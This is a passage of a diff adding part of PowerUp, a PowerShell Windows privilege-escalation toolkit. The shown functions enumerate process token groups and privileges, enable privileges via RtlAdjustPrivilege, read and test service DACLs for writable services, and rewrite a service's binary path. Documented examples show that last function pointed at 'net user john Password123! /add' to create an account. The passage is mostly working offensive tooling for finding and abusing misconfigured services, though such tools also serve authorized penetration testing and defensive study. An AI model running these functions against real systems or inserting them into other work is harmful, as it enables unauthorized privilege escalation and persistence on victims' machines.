$Advapi32::GetTokenInformation($TokenHandle, 8, 0, $TokenImpersonationLevelPtrSize, [ref]$TokenImpersonationLevelPtrSize) + [IntPtr]$TokenImpersonationLevelPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenImpersonationLevelPtrSize) + + $Success2 = $Advapi32::GetTokenInformation($TokenHandle, 8, $TokenImpersonationLevelPtr, $TokenImpersonationLevelPtrSize, [ref]$TokenImpersonationLevelPtrSize);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Success2) { + $Temp = $TokenImpersonationLevelPtr -as $IMPERSONATION_LEVEL + $TokenResult | Add-Member Noteproperty 'ImpersonationLevel' $Temp.ImpersonationLevel + $TokenResult | Add-Member Noteproperty 'TokenHandle' $TokenHandle + $TokenResult.PSObject.TypeNames.Insert(0, 'PowerUp.TokenType') + $TokenResult + } + else { + Write-Warning ([ComponentModel.Win32Exception] $LastError) + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenImpersonationLevelPtr) + } + } +} + + +function Get-ProcessTokenGroup { +<# +.SYNOPSIS + +Returns all SIDs that the current token context is a part of, whether they are disabled or not. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Get-TokenInformation + +.DESCRIPTION + +First, if a process ID is passed, then the process is opened using OpenProcess(), +otherwise GetCurrentProcess() is used to open up a pseudohandle to the current process. +OpenProcessToken() is then used to get a handle to the specified process token. The token +is then passed to Get-TokenInformation to query the current token groups for the specified +token. + +.PARAMETER Id + +The process ID to enumerate token groups for, otherwise defaults to the current process. + +.EXAMPLE + +Get-ProcessTokenGroup + +SID Attributes TokenHandle ProcessId +--- ---------- ----------- --------- +S-1-5-21-8901718... ...SE_GROUP_ENABLED 1616 3684 +S-1-1-0 ...SE_GROUP_ENABLED 1616 3684 +S-1-5-32-544 ..., SE_GROUP_OWNER 1616 3684 +S-1-5-32-545 ...SE_GROUP_ENABLED 1616 3684 +S-1-5-4 ...SE_GROUP_ENABLED 1616 3684 +S-1-2-1 ...SE_GROUP_ENABLED 1616 3684 +S-1-5-11 ...SE_GROUP_ENABLED 1616 3684 +S-1-5-15 ...SE_GROUP_ENABLED 1616 3684 +S-1-5-5-0-1053459 ...NTEGRITY_ENABLED 1616 3684 +S-1-2-0 ...SE_GROUP_ENABLED 1616 3684 +S-1-18-1 ...SE_GROUP_ENABLED 1616 3684 +S-1-16-12288 1616 3684 + +.EXAMPLE + +Get-Process notepad | Get-ProcessTokenGroup + +SID Attributes TokenHandle ProcessId +--- ---------- ----------- --------- +S-1-5-21-8901718... ...SE_GROUP_ENABLED 1892 2044 +S-1-1-0 ...SE_GROUP_ENABLED 1892 2044 +S-1-5-32-544 ...SE_FOR_DENY_ONLY 1892 2044 +S-1-5-32-545 ...SE_GROUP_ENABLED 1892 2044 +S-1-5-4 ...SE_GROUP_ENABLED 1892 2044 +S-1-2-1 ...SE_GROUP_ENABLED 1892 2044 +S-1-5-11 ...SE_GROUP_ENABLED 1892 2044 +S-1-5-15 ...SE_GROUP_ENABLED 1892 2044 +S-1-5-5-0-1053459 ...NTEGRITY_ENABLED 1892 2044 +S-1-2-0 ...SE_GROUP_ENABLED 1892 2044 +S-1-18-1 ...SE_GROUP_ENABLED 1892 2044 +S-1-16-8192 1892 2044 + + +.OUTPUTS + +PowerUp.TokenGroup + +Outputs a custom object containing the token group (SID/attributes) for the specified process. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.TokenGroup')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('ProcessID')] + [UInt32] + [ValidateNotNullOrEmpty()] + $Id + ) + + PROCESS { + if ($PSBoundParameters['Id']) { + $ProcessHandle = $Kernel32::OpenProcess(0x400, $False, $Id);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ProcessHandle -eq 0) { + Write-Warning ([ComponentModel.Win32Exception] $LastError) + } + else { + $ProcessID = $Id + } + } + else { + # open up a pseudo handle to the current process- don't need to worry about closing + $ProcessHandle = $Kernel32::GetCurrentProcess() + $ProcessID = $PID + } + + if ($ProcessHandle) { + [IntPtr]$hProcToken = [IntPtr]::Zero + $TOKEN_QUERY = 0x0008 + $Success = $Advapi32::OpenProcessToken($ProcessHandle, $TOKEN_QUERY, [ref]$hProcToken);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Success) { + $TokenGroups = Get-TokenInformation -TokenHandle $hProcToken -InformationClass 'Groups' + $TokenGroups | ForEach-Object { + $_ | Add-Member Noteproperty 'ProcessId' $ProcessID + $_ + } + } + else { + Write-Warning ([ComponentModel.Win32Exception] $LastError) + } + + if ($PSBoundParameters['Id']) { + # close the handle if we used OpenProcess() + $Null = $Kernel32::CloseHandle($ProcessHandle) + } + } + } +} + + +function Get-ProcessTokenPrivilege { +<# +.SYNOPSIS + +Returns all privileges for the current (or specified) process ID. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Get-TokenInformation + +.DESCRIPTION + +First, if a process ID is passed, then the process is opened using OpenProcess(), +otherwise GetCurrentProcess() is used to open up a pseudohandle to the current process. +OpenProcessToken() is then used to get a handle to the specified process token. The token +is then passed to Get-TokenInformation to query the current privileges for the specified +token. + +.PARAMETER Id + +The process ID to enumerate token groups for, otherwise defaults to the current process. + +.PARAMETER Special + +Switch. Only return 'special' privileges, meaning admin-level privileges. +These include SeSecurityPrivilege, SeTakeOwnershipPrivilege, SeLoadDriverPrivilege, SeBackupPrivilege, +SeRestorePrivilege, SeDebugPrivilege, SeSystemEnvironmentPrivilege, SeImpersonatePrivilege, SeTcbPrivilege. + +.EXAMPLE + +Get-ProcessTokenPrivilege | ft -a + +WARNING: 2 columns do not fit into the display and were removed. + +Privilege Attributes +--------- ---------- +SeUnsolicitedInputPrivilege DISABLED +SeTcbPrivilege DISABLED +SeSecurityPrivilege DISABLED +SeTakeOwnershipPrivilege DISABLED +SeLoadDriverPrivilege DISABLED +SeSystemProfilePrivilege DISABLED +SeSystemtimePrivilege DISABLED +SeProfileSingleProcessPrivilege DISABLED +SeIncreaseBasePriorityPrivilege DISABLED +SeCreatePagefilePrivilege DISABLED +SeBackupPrivilege DISABLED +SeRestorePrivilege DISABLED +SeShutdownPrivilege DISABLED +SeDebugPrivilege SE_PRIVILEGE_ENABLED +SeSystemEnvironmentPrivilege DISABLED +SeChangeNotifyPrivilege ...EGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED +SeRemoteShutdownPrivilege DISABLED +SeUndockPrivilege DISABLED +SeManageVolumePrivilege DISABLED +SeImpersonatePrivilege ...EGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED +SeCreateGlobalPrivilege ...EGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED +SeIncreaseWorkingSetPrivilege DISABLED +SeTimeZonePrivilege DISABLED +SeCreateSymbolicLinkPrivilege DISABLED + +.EXAMPLE + +Get-ProcessTokenPrivilege -Special + +Privilege Attributes TokenHandle ProcessId +--------- ---------- ----------- --------- +SeTcbPrivilege DISABLED 2268 3684 +SeSecurityPrivilege DISABLED 2268 3684 +SeTakeOwnershipP... DISABLED 2268 3684 +SeLoadDriverPriv... DISABLED 2268 3684 +SeBackupPrivilege DISABLED 2268 3684 +SeRestorePrivilege DISABLED 2268 3684 +SeDebugPrivilege ...RIVILEGE_ENABLED 2268 3684 +SeSystemEnvironm... DISABLED 2268 3684 +SeImpersonatePri... ...RIVILEGE_ENABLED 2268 3684 + +.EXAMPLE + +Get-Process notepad | Get-ProcessTokenPrivilege | fl + +Privilege : SeShutdownPrivilege +Attributes : DISABLED +TokenHandle : 2164 +ProcessId : 2044 + +Privilege : SeChangeNotifyPrivilege +Attributes : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED +TokenHandle : 2164 +ProcessId : 2044 + +Privilege : SeUndockPrivilege +Attributes : DISABLED +TokenHandle : 2164 +ProcessId : 2044 + +Privilege : SeIncreaseWorkingSetPrivilege +Attributes : DISABLED +TokenHandle : 2164 +ProcessId : 2044 + +Privilege : SeTimeZonePrivilege +Attributes : DISABLED +TokenHandle : 2164 +ProcessId : 2044 + +.OUTPUTS + +PowerUp.TokenPrivilege + +Outputs a custom object containing the token privilege (name/attributes) for the specified process. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.TokenPrivilege')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('ProcessID')] + [UInt32] + [ValidateNotNullOrEmpty()] + $Id, + + [Switch] + [Alias('Privileged')] + $Special + ) + + BEGIN { + $SpecialPrivileges = @('SeSecurityPrivilege', 'SeTakeOwnershipPrivilege', 'SeLoadDriverPrivilege', 'SeBackupPrivilege', 'SeRestorePrivilege', 'SeDebugPrivilege', 'SeSystemEnvironmentPrivilege', 'SeImpersonatePrivilege', 'SeTcbPrivilege') + } + + PROCESS { + if ($PSBoundParameters['Id']) { + $ProcessHandle = $Kernel32::OpenProcess(0x400, $False, $Id);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ProcessHandle -eq 0) { + Write-Warning ([ComponentModel.Win32Exception] $LastError) + } + else { + $ProcessID = $Id + } + } + else { + # open up a pseudo handle to the current process- don't need to worry about closing + $ProcessHandle = $Kernel32::GetCurrentProcess() + $ProcessID = $PID + } + + if ($ProcessHandle) { + [IntPtr]$hProcToken = [IntPtr]::Zero + $TOKEN_QUERY = 0x0008 + $Success = $Advapi32::OpenProcessToken($ProcessHandle, $TOKEN_QUERY, [ref]$hProcToken);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($Success) { + Get-TokenInformation -TokenHandle $hProcToken -InformationClass 'Privileges' | ForEach-Object { + if ($PSBoundParameters['Special']) { + if ($SpecialPrivileges -Contains $_.Privilege) { + $_ | Add-Member Noteproperty 'ProcessId' $ProcessID + $_ | Add-Member Aliasproperty Name ProcessId + $_ + } + } + else { + $_ | Add-Member Noteproperty 'ProcessId' $ProcessID + $_ + } + } + } + else { + Write-Warning ([ComponentModel.Win32Exception] $LastError) + } + + if ($PSBoundParameters['Id']) { + # close the handle if we used OpenProcess() + $Null = $Kernel32::CloseHandle($ProcessHandle) + } + } + } +} + + +function Get-ProcessTokenType { +<# +.SYNOPSIS + +Returns the token type and impersonation level. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Get-TokenInformation + +.DESCRIPTION + +First, if a process ID is passed, then the process is opened using OpenProcess(), +otherwise GetCurrentProcess() is used to open up a pseudohandle to the current process. +OpenProcessToken() is then used to get a handle to the specified process token. The token +is then passed to Get-TokenInformation to query the type and impersonation level for the +specified token. + +.PARAMETER Id + +The process ID to enumerate token groups for, otherwise defaults to the current process. + +.EXAMPLE + +Get-ProcessTokenType + + Type ImpersonationLevel TokenHandle ProcessId + ---- ------------------ ----------- --------- + Primary Identification 872 3684 + + +.EXAMPLE + +Get-Process notepad | Get-ProcessTokenType | fl + +Type : Primary +ImpersonationLevel : Identification +TokenHandle : 1356 +ProcessId : 2044 + +.OUTPUTS + +PowerUp.TokenType + +Outputs a custom object containing the token type and impersonation level for the specified process. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.TokenType')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('ProcessID')] + [UInt32] + [ValidateNotNullOrEmpty()] + $Id + ) + + PROCESS { + if ($PSBoundParameters['Id']) { + $ProcessHandle = $Kernel32::OpenProcess(0x400, $False, $Id);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ProcessHandle -eq 0) { + Write-Warning ([ComponentModel.Win32Exception] $LastError) + } + else { + $ProcessID = $Id + } + } + else { + # open up a pseudo handle to the current process- don't need to worry about closing + $ProcessHandle = $Kernel32::GetCurrentProcess() + $ProcessID = $PID + } + + if ($ProcessHandle) { + [IntPtr]$hProcToken = [IntPtr]::Zero + $TOKEN_QUERY = 0x0008 + $Success = $Advapi32::OpenProcessToken($ProcessHandle, $TOKEN_QUERY, [ref]$hProcToken);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Success) { + $TokenType = Get-TokenInformation -TokenHandle $hProcToken -InformationClass 'Type' + $TokenType | ForEach-Object { + $_ | Add-Member Noteproperty 'ProcessId' $ProcessID + $_ + } + } + else { + Write-Warning ([ComponentModel.Win32Exception] $LastError) + } + + if ($PSBoundParameters['Id']) { + # close the handle if we used OpenProcess() + $Null = $Kernel32::CloseHandle($ProcessHandle) + } + } + } +} + + +function Enable-Privilege { +<# +.SYNOPSIS + +Enables a specific privilege for the current process. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +Uses RtlAdjustPrivilege to enable a specific privilege for the current process. +Privileges can be passed by string, or the output from Get-ProcessTokenPrivilege +can be passed on the pipeline. + +.EXAMPLE + +Get-ProcessTokenPrivilege + + Privilege Attributes ProcessId + --------- ---------- --------- + SeShutdownPrivilege DISABLED 3620 + SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 3620 + SeUndockPrivilege DISABLED 3620 +SeIncreaseWorkingSetPrivilege DISABLED 3620 + SeTimeZonePrivilege DISABLED 3620 + +Enable-Privilege SeShutdownPrivilege + +Get-ProcessTokenPrivilege + + Privilege Attributes ProcessId + --------- ---------- --------- + SeShutdownPrivilege SE_PRIVILEGE_ENABLED 3620 + SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 3620 + SeUndockPrivilege DISABLED 3620 +SeIncreaseWorkingSetPrivilege DISABLED 3620 + SeTimeZonePrivilege DISABLED 3620 + +.EXAMPLE + +Get-ProcessTokenPrivilege + +Privilege Attributes ProcessId +--------- ---------- --------- +SeShutdownPrivilege DISABLED 2828 +SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 2828 +SeUndockPrivilege DISABLED 2828 +SeIncreaseWorkingSetPrivilege DISABLED 2828 +SeTimeZonePrivilege DISABLED 2828 + + +Get-ProcessTokenPrivilege | Enable-Privilege -Verbose +VERBOSE: Attempting to enable SeShutdownPrivilege +VERBOSE: Attempting to enable SeChangeNotifyPrivilege +VERBOSE: Attempting to enable SeUndockPrivilege +VERBOSE: Attempting to enable SeIncreaseWorkingSetPrivilege +VERBOSE: Attempting to enable SeTimeZonePrivilege + +Get-ProcessTokenPrivilege + +Privilege Attributes ProcessId +--------- ---------- --------- +SeShutdownPrivilege SE_PRIVILEGE_ENABLED 2828 +SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 2828 +SeUndockPrivilege SE_PRIVILEGE_ENABLED 2828 +SeIncreaseWorkingSetPrivilege SE_PRIVILEGE_ENABLED 2828 +SeTimeZonePrivilege SE_PRIVILEGE_ENABLED 2828 + +.LINK + +http://forum.sysinternals.com/tip-easy-way-to-enable-privileges_topic15745.html +#> + + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Privileges')] + [ValidateSet('SeCreateTokenPrivilege', 'SeAssignPrimaryTokenPrivilege', 'SeLockMemoryPrivilege', 'SeIncreaseQuotaPrivilege', 'SeUnsolicitedInputPrivilege', 'SeMachineAccountPrivilege', 'SeTcbPrivilege', 'SeSecurityPrivilege', 'SeTakeOwnershipPrivilege', 'SeLoadDriverPrivilege', 'SeSystemProfilePrivilege', 'SeSystemtimePrivilege', 'SeProfileSingleProcessPrivilege', 'SeIncreaseBasePriorityPrivilege', 'SeCreatePagefilePrivilege', 'SeCreatePermanentPrivilege', 'SeBackupPrivilege', 'SeRestorePrivilege', 'SeShutdownPrivilege', 'SeDebugPrivilege', 'SeAuditPrivilege', 'SeSystemEnvironmentPrivilege', 'SeChangeNotifyPrivilege', 'SeRemoteShutdownPrivilege', 'SeUndockPrivilege', 'SeSyncAgentPrivilege', 'SeEnableDelegationPrivilege', 'SeManageVolumePrivilege', 'SeImpersonatePrivilege', 'SeCreateGlobalPrivilege', 'SeTrustedCredManAccessPrivilege', 'SeRelabelPrivilege', 'SeIncreaseWorkingSetPrivilege', 'SeTimeZonePrivilege', 'SeCreateSymbolicLinkPrivilege')] + [String[]] + $Privilege + ) + + PROCESS { + ForEach ($Priv in $Privilege) { + [UInt32]$PreviousState = 0 + Write-Verbose "Attempting to enable $Priv" + $Success = $NTDll::RtlAdjustPrivilege($SecurityEntity::$Priv, $True, $False, [ref]$PreviousState) + if ($Success -ne 0) { + Write-Warning "RtlAdjustPrivilege for $Priv failed: $Success" + } + } + } +} + + +function Add-ServiceDacl { +<# +.SYNOPSIS + +Adds a Dacl field to a service object returned by Get-Service. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a +Dacl field to each object. It does this by opening a handle with ReadControl for the +service with using the GetServiceHandle Win32 API call and then uses +QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service. + +.PARAMETER Name + +An array of one or more service names to add a service Dacl for. Passable on the pipeline. + +.EXAMPLE + +Get-Service | Add-ServiceDacl + +Add Dacls for every service the current user can read. + +.EXAMPLE + +Get-Service -Name VMTools | Add-ServiceDacl + +Add the Dacl to the VMTools service object. + +.OUTPUTS + +ServiceProcess.ServiceController + +.LINK + +https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('ServiceProcess.ServiceController')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('ServiceName')] + [String[]] + [ValidateNotNullOrEmpty()] + $Name + ) + + BEGIN { + filter Local:Get-ServiceReadControlHandle { + [OutputType([IntPtr])] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [ValidateScript({ $_ -as 'ServiceProcess.ServiceController' })] + $Service + ) + + $GetServiceHandle = [ServiceProcess.ServiceController].GetMethod('GetServiceHandle', [Reflection.BindingFlags] 'Instance, NonPublic') + $ReadControl = 0x00020000 + $RawHandle = $GetServiceHandle.Invoke($Service, @($ReadControl)) + $RawHandle + } + } + + PROCESS { + ForEach($ServiceName in $Name) { + + $IndividualService = Get-Service -Name $ServiceName -ErrorAction Stop + + try { + Write-Verbose "Add-ServiceDacl IndividualService : $($IndividualService.Name)" + $ServiceHandle = Get-ServiceReadControlHandle -Service $IndividualService + } + catch { + $ServiceHandle = $Null + Write-Verbose "Error opening up the service handle with read control for $($IndividualService.Name) : $_" + } + + if ($ServiceHandle -and ($ServiceHandle -ne [IntPtr]::Zero)) { + $SizeNeeded = 0 + + $Result = $Advapi32::QueryServiceObjectSecurity($ServiceHandle, [Security.AccessControl.SecurityInfos]::DiscretionaryAcl, @(), 0, [Ref] $SizeNeeded);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + # 122 == The data area passed to a system call is too small + if ((-not $Result) -and ($LastError -eq 122) -and ($SizeNeeded -gt 0)) { + $BinarySecurityDescriptor = New-Object Byte[]($SizeNeeded) + + $Result = $Advapi32::QueryServiceObjectSecurity($ServiceHandle, [Security.AccessControl.SecurityInfos]::DiscretionaryAcl, $BinarySecurityDescriptor, $BinarySecurityDescriptor.Count, [Ref] $SizeNeeded);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if (-not $Result) { + Write-Error ([ComponentModel.Win32Exception] $LastError) + } + else { + $RawSecurityDescriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $BinarySecurityDescriptor, 0 + $Dacl = $RawSecurityDescriptor.DiscretionaryAcl | ForEach-Object { + Add-Member -InputObject $_ -MemberType NoteProperty -Name AccessRights -Value ($_.AccessMask -as $ServiceAccessRights) -PassThru + } + Add-Member -InputObject $IndividualService -MemberType NoteProperty -Name Dacl -Value $Dacl -PassThru + } + } + else { + Write-Error ([ComponentModel.Win32Exception] $LastError) + } + $Null = $Advapi32::CloseServiceHandle($ServiceHandle) + } + } + } +} + + +function Set-ServiceBinaryPath { +<# +.SYNOPSIS + +Sets the binary path for a service to a specified value. + +Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +Takes a service Name or a ServiceProcess.ServiceController on the pipeline and first opens up a +service handle to the service with ConfigControl access using the GetServiceHandle +Win32 API call. ChangeServiceConfig is then used to set the binary path (lpBinaryPathName/binPath) +to the string value specified by binPath, and the handle is closed off. + +Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a +Dacl field to each object. It does this by opening a handle with ReadControl for the +service with using the GetServiceHandle Win32 API call and then uses +QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service. + +.PARAMETER Name + +An array of one or more service names to set the binary path for. Required. + +.PARAMETER Path + +The new binary path (lpBinaryPathName) to set for the specified service. Required. + +.EXAMPLE + +Set-ServiceBinaryPath -Name VulnSvc -Path 'net user john Password123! /add' + +Sets the binary path for 'VulnSvc' to be a command to add a user. + +.EXAMPLE + +Get-Service VulnSvc | Set-ServiceBinaryPath -Path 'net user john Password123! /add' + +Sets the binary path for 'VulnSvc' to be a command to add a user. + +.OUTPUTS + +System.Boolean + +$True if configuration succeeds, $False otherwise. + +.LINK + +https://msdn.microsoft.com/en-us/library/windows/desktop/ms681987(v=vs.85).aspx +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [OutputType('System.Boolean')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('ServiceName')] + [String[]] + [ValidateNotNullOrEmpty()] + $Name, + + [Parameter(Position=1, Mandatory = $True)] + [Alias('BinaryPath', 'binPath')] + [String] + [ValidateNotNullOrEmpty()] + $Path + ) + + BEGIN { + filter Local:Get-ServiceConfigControlHandle { + [OutputType([IntPtr])] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [ServiceProcess.ServiceController] + [ValidateNotNullOrEmpty()] + $TargetService + ) + $GetServiceHandle = [ServiceProcess.ServiceController].GetMethod('GetServiceHandle', [Reflection.BindingFlags] 'Instance, NonPublic') + $ConfigControl = 0x00000002 + $RawHandle = $GetServiceHandle.Invoke($TargetService, @($ConfigControl)) + $RawHandle + } + } + + PROCESS { + + ForEach($IndividualService in $Name) { + + $TargetService = Get-Service -Name $IndividualService -ErrorAction Stop + try { + $ServiceHandle = Get-ServiceConfigControlHandle -TargetService $TargetService + } + catch { + $ServiceHandle = $Null + Write-Verbose "Error opening up the service handle with read control for $IndividualService : $_" + } + + if ($ServiceHandle -and ($ServiceHandle -ne [IntPtr]::Zero)) { + + $SERVICE_NO_CHANGE = [UInt32]::MaxValue + $Result = $Advapi32::ChangeServiceConfig($ServiceHandle, $SERVICE_NO_CHANGE, $SERVICE_NO_CHANGE, $SERVICE_NO_CHANGE, "$Path", [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Result -ne 0) { + Write-Verbose "binPath for $IndividualService successfully set to '$Path'" + $True + } + else { + Write-Error ([ComponentModel.Win32Exception] $LastError) + $Null + } + + $Null = $Advapi32::CloseServiceHandle($ServiceHandle) + } + } + } +} + + +function Test-ServiceDaclPermission { +<# +.SYNOPSIS + +Tests one or more passed services or service names against a given permission set, +returning the service objects where the current user have the specified permissions. + +Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: Add-ServiceDacl + +.DESCRIPTION + +Takes a service Name or a ServiceProcess.ServiceController on the pipeline, and first adds +a service Dacl to the service object with Add-ServiceDacl. All group SIDs for the current +user are enumerated services where the user has some type of permission are filtered. The +services are then filtered against a specified set of permissions, and services where the +current user have the specified permissions are returned. + +.PARAMETER Name + +An array of one or more service names to test against the specified permission set. + +.PARAMETER Permissions + +A manual set of permission to test again. One of:'QueryConfig', 'ChangeConfig', 'QueryStatus', +'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', UserDefinedControl', +'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity', +'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess' + +.PARAMETER PermissionSet + +A pre-defined permission set to test a specified service against. 'ChangeConfig', 'Restart', or 'AllAccess'. + +.EXAMPLE + +Get-Service | Test-ServiceDaclPermission + +Return all service objects where the current user can modify the service configuration. + +.EXAMPLE + +Get-Service | Test-ServiceDaclPermission -PermissionSet 'Restart' + +Return all service objects that the current user can restart. + +.EXAMPLE + +Test-ServiceDaclPermission -Permissions 'Start' -Name 'VulnSVC' + +Return the VulnSVC object if the current user has start permissions. + +.OUTPUTS + +ServiceProcess.ServiceController + +.LINK + +https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('ServiceProcess.ServiceController')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('ServiceName', 'Service')] + [String[]] + [ValidateNotNullOrEmpty()] + $Name, + + [String[]] + [ValidateSet('QueryConfig', 'ChangeConfig', 'QueryStatus', 'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', 'UserDefinedControl', 'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity', 'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess')] + $Permissions, + + [String] + [ValidateSet('ChangeConfig', 'Restart', 'AllAccess')] + $PermissionSet = 'ChangeConfig' + ) + + BEGIN { + $AccessMask = @{ + 'QueryConfig' = [uint32]'0x00000001' + 'ChangeConfig' = [uint32]'0x00000002' + 'QueryStatus' = [uint32]'0x00000004' + 'EnumerateDependents' = [uint32]'0x00000008' + 'Start' = [uint32]'0x00000010' + 'Stop' = [uint32]'0x00000020' + 'PauseContinue' = [uint32]'0x00000040' + 'Interrogate' = [uint32]'0x00000080' + 'UserDefinedControl' = [uint32]'0x00000100' + 'Delete' = [uint32]'0x00010000' + 'ReadControl' = [uint32]'0x00020000' + 'WriteDac' = [uint32]'0x00040000' + 'WriteOwner' = [uint32]'0x00080000' + 'Synchronize' = [uint32]'0x00100000' + 'AccessSystemSecurity' = [uint32]'0x01000000' + 'GenericAll' = [uint32]'0x10000000' + 'GenericExecute' = [uint32]'0x20000000' + 'GenericWrite' = [uint32]'0x40000000' + 'GenericRead' = [uint32]'0x80000000' + 'AllAccess' = [uint32]'0x000F01FF' + } + + $CheckAllPermissionsInSet = $False + + if ($PSBoundParameters['Permissions']) { + $TargetPermissions = $Permissions + } + else { + if ($PermissionSet -eq 'ChangeConfig') { + $TargetPermissions = @('ChangeConfig', 'WriteDac', 'WriteOwner', 'GenericAll', ' GenericWrite', 'AllAccess') + } + elseif ($PermissionSet -eq 'Restart') { + $TargetPermissions = @('Start', 'Stop') + $CheckAllPermissionsInSet = $True # so we check all permissions && style + } + elseif ($PermissionSet -eq 'AllAccess') { + $TargetPermissions = @('GenericAll', 'AllAccess') + } + } + } + + PROCESS { + + ForEach($IndividualService in $Name) { + + $TargetService = $IndividualService | Add-ServiceDacl + + if ($TargetService -and $TargetService.Dacl) { + + # enumerate all group SIDs the current user is a part of + $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent() + $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value + $CurrentUserSids += $UserIdentity.User.Value + + ForEach($ServiceDacl in $TargetService.Dacl) { + if ($CurrentUserSids -contains $ServiceDacl.SecurityIdentifier) { + + if ($CheckAllPermissionsInSet) { + $AllMatched = $True + ForEach($TargetPermission in $TargetPermissions) { + # check permissions && style + if (($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -ne $AccessMask[$TargetPermission]) { + # Write-Verbose "Current user doesn't have '$TargetPermission' for $($TargetService.Name)" + $AllMatched = $False + break + } + } + if ($AllMatched) { + $TargetService + } + } + else { + ForEach($TargetPermission in $TargetPermissions) { + # check permissions || style + if (($ServiceDacl.AceType -eq 'AccessAllowed') -and ($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -eq $AccessMask[$TargetPermission]) { + Write-Verbose "Current user has '$TargetPermission' for $IndividualService" + $TargetService + break + } + } + } + } + } + } + else { + Write-Verbose "Error enumerating the Dacl for service $IndividualService" + } + } + } +} + + +######################################################## +# +# Service enumeration +# +######################################################## + +function Get-UnquotedService { +<# +.SYNOPSIS + +Returns the name and binary path for services with unquoted paths +that also have a space in the name. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ModifiablePath, Test-ServiceDaclPermission + +.DESCRIPTION + +Uses Get-WmiObject to query all win32_service objects and extract out +the binary pathname for each. Then checks if any binary paths have a space +and aren't quoted. + +.EXAMPLE + +Get-UnquotedService + 